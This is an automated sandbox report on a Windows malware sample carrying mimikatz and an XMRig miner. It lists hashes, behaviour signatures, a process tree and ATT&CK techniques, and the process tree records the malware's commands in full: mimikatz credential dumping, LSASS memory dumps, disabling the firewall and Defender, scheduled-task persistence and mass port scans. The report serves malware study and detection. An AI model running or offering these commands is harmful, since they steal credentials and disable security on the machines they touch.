Analysis
-
max time kernel
119s -
max time network
120s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
-
submitted
14-01-2025 09:54
General
-
Target
2025-01-14_564e2f645c3def685822f9ee084483e5_hacktools_icedid_mimikatz.exe
-
Size
9.2MB
-
MD5
564e2f645c3def685822f9ee084483e5
-
SHA1
de760098191acff923b4e2e7ed9f8dafa68a8dfc
-
SHA256
f08bb388322dfc684541aeb0fe240f8b3aae4d379d9eb712fff56581ebf07ea9
-
SHA512
972bbe29060c6ead4d9ccee8758f209456fd2b58e8b31f2b99e95622b3177caee57580d11264ef642aa661971dad7e0873838874d1197c45a89cb6f026f38c85
-
SSDEEP
196608:MxygkmknGzwHdOgEPHd9BRX/nivPlTXTYo:Y5jz0E51/iv1
Malware Config
Signatures
-
Disables service(s) 3 TTPs
-
Mimikatz
mimikatz is an open source tool to dump credentials on Windows.
-
Mimikatz family
-
Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
-
Xmrig family
-
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
-
Contacts a large (15209) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
-
OS Credential Dumping: LSASS Memory 1 TTPs
Malicious access to Credentials History.
-
XMRig Miner payload 9 IoCs
-
mimikatz is an open source tool to dump credentials on Windows 5 IoCs
-
Drops file in Drivers directory 3 IoCs
-
Event Triggered Execution: Image File Execution Options Injection 1 TTPs 40 IoCs
-
Modifies Windows Firewall 2 TTPs 2 IoCs
-
Executes dropped EXE 28 IoCs
-
Loads dropped DLL 12 IoCs
-
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
-
Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
-
Network Share Discovery 1 TTPs
Attempt to gather information on host network.
-
Creates a Windows Service
-
Drops file in System32 directory 18 IoCs
-
UPX packed file 34 IoCs
Detects executables packed with UPX/modified UPX open source packer.
-
Drops file in Program Files directory 3 IoCs
-
Drops file in Windows directory 60 IoCs
-
Launches sc.exe 4 IoCs
Sc.exe is a Windows utlilty to control services on the system.
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Event Triggered Execution: Netsh Helper DLL 1 TTPs 51 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
-
System Location Discovery: System Language Discovery 1 TTPs 64 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
-
System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs
Adversaries may check for Internet connectivity on compromised systems.
-
NSIS installer 3 IoCs
-
Modifies data under HKEY_USERS 45 IoCs
-
Modifies registry class 14 IoCs
-
Runs net.exe
-
Runs ping.exe 1 TTPs 1 IoCs
-
Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Suspicious behavior: EnumeratesProcesses 64 IoCs
-
Suspicious behavior: LoadsDriver 15 IoCs
-
Suspicious behavior: RenamesItself 1 IoCs
-
Suspicious use of AdjustPrivilegeToken 24 IoCs
-
Suspicious use of SetWindowsHookEx 10 IoCs
-
Suspicious use of WriteProcessMemory 64 IoCs
Processes
-
C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵
-
C:\Windows\TEMP\fjubbiybi\pbivnu.exe"C:\Windows\TEMP\fjubbiybi\pbivnu.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\2025-01-14_564e2f645c3def685822f9ee084483e5_hacktools_icedid_mimikatz.exeC:\Users\Admin\AppData\Local\Temp\2025-01-14_564e2f645c3def685822f9ee084483e5_hacktools_icedid_mimikatz.exe sh $MOZILLA/ %SIGILL% "SIGTERM|DESTROY|SIGKILL"1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: RenamesItself
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.execmd /c ping 127.0.0.1 -n 5 & Start C:\Windows\geyvllli\umblikl.exe2⤵
- System Location Discovery: System Language Discovery
- System Network Configuration Discovery: Internet Connection Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 53⤵
- System Location Discovery: System Language Discovery
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
C:\Windows\geyvllli\umblikl.exeC:\Windows\geyvllli\umblikl.exe3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
-
-
-
C:\Windows\geyvllli\umblikl.exeC:\Windows\geyvllli\umblikl.exe1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Executes dropped EXE
- Drops file in System32 directory
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.execmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D users3⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D administrators3⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM3⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static del all2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add policy name=Bastards description=FuckingBastards2⤵
- Event Triggered Execution: Netsh Helper DLL
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filteraction name=BastardsList action=block2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cmd.execmd /c C:\Windows\tgtbnlybs\blqhpiatb\wpcap.exe /S2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\tgtbnlybs\blqhpiatb\wpcap.exeC:\Windows\tgtbnlybs\blqhpiatb\wpcap.exe /S3⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Loads dropped DLL
- Drops file in System32 directory
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\net.exenet stop "Boundary Meter"4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "Boundary Meter"5⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\net.exenet stop "TrueSight Meter"4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "TrueSight Meter"5⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop npf4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop npf5⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\net.exenet start npf4⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start npf5⤵
- System Location Discovery: System Language Discovery
-
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c net start npf2⤵
-
C:\Windows\SysWOW64\net.exenet start npf3⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start npf4⤵
- System Location Discovery: System Language Discovery
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c net start npf2⤵
-
C:\Windows\SysWOW64\net.exenet start npf3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start npf4⤵
- System Location Discovery: System Language Discovery
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c C:\Windows\tgtbnlybs\blqhpiatb\beeukuylm.exe -p 80 222.186.128.1-222.186.255.255 --rate=1024 -oJ C:\Windows\tgtbnlybs\blqhpiatb\Scant.txt2⤵
-
C:\Windows\tgtbnlybs\blqhpiatb\beeukuylm.exeC:\Windows\tgtbnlybs\blqhpiatb\beeukuylm.exe -p 80 222.186.128.1-222.186.255.255 --rate=1024 -oJ C:\Windows\tgtbnlybs\blqhpiatb\Scant.txt3⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c C:\Windows\tgtbnlybs\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit >> C:\Windows\tgtbnlybs\Corporate\log.txt2⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
-
C:\Windows\tgtbnlybs\Corporate\vfshost.exeC:\Windows\tgtbnlybs\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "blnistlty" /ru system /tr "cmd /c C:\Windows\ime\umblikl.exe"2⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /sc minute /mo 1 /tn "blnistlty" /ru system /tr "cmd /c C:\Windows\ime\umblikl.exe"3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "teblinvap" /ru system /tr "cmd /c echo Y|cacls C:\Windows\geyvllli\umblikl.exe /p everyone:F"2⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /sc minute /mo 1 /tn "teblinvap" /ru system /tr "cmd /c echo Y|cacls C:\Windows\geyvllli\umblikl.exe /p everyone:F"3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "iigunlrbm" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\fjubbiybi\pbivnu.exe /p everyone:F"2⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /sc minute /mo 1 /tn "iigunlrbm" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\fjubbiybi\pbivnu.exe /p everyone:F"3⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=TCP2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=UDP2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static set policy name=Bastards assign=y2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=TCP2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=UDP2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static set policy name=Bastards assign=y2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=TCP2⤵
- Event Triggered Execution: Netsh Helper DLL
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=UDP2⤵
- Event Triggered Execution: Netsh Helper DLL
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static set policy name=Bastards assign=y2⤵
- Event Triggered Execution: Netsh Helper DLL
-
-
C:\Windows\SysWOW64\cmd.execmd /c net stop SharedAccess2⤵
-
C:\Windows\SysWOW64\net.exenet stop SharedAccess3⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SharedAccess4⤵
- System Location Discovery: System Language Discovery
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c netsh firewall set opmode mode=disable2⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\netsh.exenetsh firewall set opmode mode=disable3⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c netsh Advfirewall set allprofiles state off2⤵
-
C:\Windows\SysWOW64\netsh.exenetsh Advfirewall set allprofiles state off3⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\TEMP\tgtbnlybs\tlnriigjl.exeC:\Windows\TEMP\tgtbnlybs\tlnriigjl.exe -accepteula -mp 784 C:\Windows\TEMP\tgtbnlybs\784.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\cmd.execmd /c net stop MpsSvc2⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\net.exenet stop MpsSvc3⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MpsSvc4⤵
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c net stop WinDefend2⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\net.exenet stop WinDefend3⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop WinDefend4⤵
- System Location Discovery: System Language Discovery
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c net stop wuauserv2⤵
-
C:\Windows\SysWOW64\net.exenet stop wuauserv3⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop wuauserv4⤵
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c sc config MpsSvc start= disabled2⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\sc.exesc config MpsSvc start= disabled3⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c sc config SharedAccess start= disabled2⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\sc.exesc config SharedAccess start= disabled3⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c sc config WinDefend start= disabled2⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\sc.exesc config WinDefend start= disabled3⤵
- Launches sc.exe
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c sc config wuauserv start= disabled2⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\sc.exesc config wuauserv start= disabled3⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\TEMP\xohudmc.exeC:\Windows\TEMP\xohudmc.exe2⤵
- Executes dropped EXE
- Drops file in System32 directory
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
-
-
C:\Windows\TEMP\tgtbnlybs\tlnriigjl.exeC:\Windows\TEMP\tgtbnlybs\tlnriigjl.exe -accepteula -mp 60 C:\Windows\TEMP\tgtbnlybs\60.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\TEMP\tgtbnlybs\tlnriigjl.exeC:\Windows\TEMP\tgtbnlybs\tlnriigjl.exe -accepteula -mp 1320 C:\Windows\TEMP\tgtbnlybs\1320.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\TEMP\tgtbnlybs\tlnriigjl.exeC:\Windows\TEMP\tgtbnlybs\tlnriigjl.exe -accepteula -mp 2568 C:\Windows\TEMP\tgtbnlybs\2568.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\TEMP\tgtbnlybs\tlnriigjl.exeC:\Windows\TEMP\tgtbnlybs\tlnriigjl.exe -accepteula -mp 2700 C:\Windows\TEMP\tgtbnlybs\2700.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\TEMP\tgtbnlybs\tlnriigjl.exeC:\Windows\TEMP\tgtbnlybs\tlnriigjl.exe -accepteula -mp 2912 C:\Windows\TEMP\tgtbnlybs\2912.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\TEMP\tgtbnlybs\tlnriigjl.exeC:\Windows\TEMP\tgtbnlybs\tlnriigjl.exe -accepteula -mp 2628 C:\Windows\TEMP\tgtbnlybs\2628.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\TEMP\tgtbnlybs\tlnriigjl.exeC:\Windows\TEMP\tgtbnlybs\tlnriigjl.exe -accepteula -mp 3724 C:\Windows\TEMP\tgtbnlybs\3724.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\TEMP\tgtbnlybs\tlnriigjl.exeC:\Windows\TEMP\tgtbnlybs\tlnriigjl.exe -accepteula -mp 3812 C:\Windows\TEMP\tgtbnlybs\3812.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\TEMP\tgtbnlybs\tlnriigjl.exeC:\Windows\TEMP\tgtbnlybs\tlnriigjl.exe -accepteula -mp 3880 C:\Windows\TEMP\tgtbnlybs\3880.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\TEMP\tgtbnlybs\tlnriigjl.exeC:\Windows\TEMP\tgtbnlybs\tlnriigjl.exe -accepteula -mp 3960 C:\Windows\TEMP\tgtbnlybs\3960.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\TEMP\tgtbnlybs\tlnriigjl.exeC:\Windows\TEMP\tgtbnlybs\tlnriigjl.exe -accepteula -mp 3152 C:\Windows\TEMP\tgtbnlybs\3152.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\TEMP\tgtbnlybs\tlnriigjl.exeC:\Windows\TEMP\tgtbnlybs\tlnriigjl.exe -accepteula -mp 3340 C:\Windows\TEMP\tgtbnlybs\3340.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\TEMP\tgtbnlybs\tlnriigjl.exeC:\Windows\TEMP\tgtbnlybs\tlnriigjl.exe -accepteula -mp 4092 C:\Windows\TEMP\tgtbnlybs\4092.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\TEMP\tgtbnlybs\tlnriigjl.exeC:\Windows\TEMP\tgtbnlybs\tlnriigjl.exe -accepteula -mp 2308 C:\Windows\TEMP\tgtbnlybs\2308.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\TEMP\tgtbnlybs\tlnriigjl.exeC:\Windows\TEMP\tgtbnlybs\tlnriigjl.exe -accepteula -mp 864 C:\Windows\TEMP\tgtbnlybs\864.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\TEMP\tgtbnlybs\tlnriigjl.exeC:\Windows\TEMP\tgtbnlybs\tlnriigjl.exe -accepteula -mp 2816 C:\Windows\TEMP\tgtbnlybs\2816.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\TEMP\tgtbnlybs\tlnriigjl.exeC:\Windows\TEMP\tgtbnlybs\tlnriigjl.exe -accepteula -mp 4476 C:\Windows\TEMP\tgtbnlybs\4476.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c C:\Windows\tgtbnlybs\blqhpiatb\scan.bat2⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\tgtbnlybs\blqhpiatb\pbubiljlf.exepbubiljlf.exe TCP 181.215.0.1 181.215.255.255 445 512 /save3⤵
- Executes dropped EXE
- Drops file in Windows directory
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM2⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D users3⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D administrators3⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM3⤵
-
-
-
C:\Windows\SysWOW64\varpws.exeC:\Windows\SysWOW64\varpws.exe1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
-
C:\Windows\system32\cmd.EXEC:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\geyvllli\umblikl.exe /p everyone:F1⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"2⤵
-
-
C:\Windows\system32\cacls.execacls C:\Windows\geyvllli\umblikl.exe /p everyone:F2⤵
-
-
C:\Windows\system32\cmd.EXEC:\Windows\system32\cmd.EXE /c C:\Windows\ime\umblikl.exe1⤵
-
C:\Windows\ime\umblikl.exeC:\Windows\ime\umblikl.exe2⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
-
C:\Windows\system32\cmd.EXEC:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\TEMP\fjubbiybi\pbivnu.exe /p everyone:F1⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"2⤵
-
-
C:\Windows\system32\cacls.execacls C:\Windows\TEMP\fjubbiybi\pbivnu.exe /p everyone:F2⤵
-
Network
MITRE ATT&CK Enterprise v15
Execution
Scheduled Task/Job
1Scheduled Task
1System Services
1Service Execution
1Persistence
Create or Modify System Process
2Windows Service
2Event Triggered Execution
2Image File Execution Options Injection
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Create or Modify System Process
2Windows Service
2Event Triggered Execution
2Image File Execution Options Injection
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Discovery
Network Service Discovery
2Network Share Discovery
1Query Registry
1Remote System Discovery
1System Information Discovery
1System Location Discovery
1System Language Discovery
1System Network Configuration Discovery
1Internet Connection Discovery
1Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
95KB
MD586316be34481c1ed5b792169312673fd
SHA16ccde3a8c76879e49b34e4abb3b8dfaf7a9d77b5
SHA25649656c178b17198470ad6906e9ee0865f16f01c1dbbf11c613b55a07246a7918
SHA5123a6e77c39942b89f3f149e9527ab8a9eb39f55ac18a9db3a3922dfb294beb0760d10ca12be0e3a3854ff7dabbe2df18c52e3696874623a2a9c5dc74b29a860bc
-
Filesize
275KB
MD54633b298d57014627831ccac89a2c50b
SHA1e5f449766722c5c25fa02b065d22a854b6a32a5b
SHA256b967e4dce952f9232592e4c1753516081438702a53424005642700522055dbc9
SHA51229590fa5f72e6a36f2b72fc2a2cca35ee41554e13c9995198e740608975621142395d4b2e057db4314edf95520fd32aae8db066444d8d8db0fd06c391111c6d3
-
Filesize
693B
MD5f2d396833af4aea7b9afde89593ca56e
SHA108d8f699040d3ca94e9d46fc400e3feb4a18b96b
SHA256d6ae7c6275b7a9b81ae4a4662c9704f7a68d5943fcc4b8d035e53db708659b34
SHA5122f359d080c113d58a67f08cb44d9ab84b0dfd7392d6ddb56ca5d1b0e8aa37b984fac720e4373d4f23db967a3465fcf93cee66d7934d4211a22e1ebc640755f01
-
Filesize
4.1MB
MD5e311e57c81e93799c9cf139ba9b2caa6
SHA19e6fe8e6bc250bbd397dd54a471bcfbf3f96a71c
SHA2569e64d4188cba7b9e0da9eacaba6cee7c5033af95c9467343804e8503f48f3f55
SHA5128fb6f2f728b7da4837ce7799f12b0ff779ee1098e9476166a2e65827e04d7fdbe6fd7f520a1cbe3e1fd75ad9e7a3795b81b10c5bf6fa90f4cff3e2b951c4f682
-
Filesize
7.5MB
MD54e3ba49c943de8eedf8234eb8d351a88
SHA1e271e62e83a0d50487cc7fb359fd53690516e830
SHA2568c05fa3e4b695d9d49b672b347b38c323d860ca63eaafb9c1b1721cd1711ea0c
SHA512c2fc1c0c02508148531e6c6f03755249a50c5efe7897f4ddc3428da42ec9c1994dfa72c537064b32d07f6be0da645d6091198aa76b08ddfb53492ce9c4c2aad2
-
Filesize
814KB
MD559fec2bbaa1211a01f1c108f173d36ad
SHA13eaf6146c277850ccb63a9d121b869c1cb4605cc
SHA25689e54cdea5f1b89a9c1b9d6710a9ca2cdb796dee57f0210adec4908c01be13b3
SHA51210e7c0b7aeb699b41d50418c4b9786d3825835cdd3d8fec1f9869412ab13890768d7042d21d04a961f61df65030f79563ce40a6b51c4f27233499f6851754cad
-
Filesize
3.6MB
MD58f724a261503472d4fda52707b2a60fb
SHA1fe732c00c1769c8e7862e88a7d9531a3e4a63b98
SHA256af6e7a754175e75d76baaa00b4d489056d897d29364af7961e1e68e8fedd77e5
SHA5124be79ebc4fcf5545e758467ef7191d7c1e8126eeaf1babe3a88ab383c9e385872e24535cb09e32597e3a6ab548652422268d2b22dff3ebf909fc7fd86c4751a7
-
Filesize
2.9MB
MD5ab109ad6556e8d870254cd46ed50790e
SHA1425efb8fee81982c26c8b5ce86525057b0953017
SHA256e536e9668a3faca44c6ae3f40e89f326a60741e9a6edc98a81ad0a88757be2b5
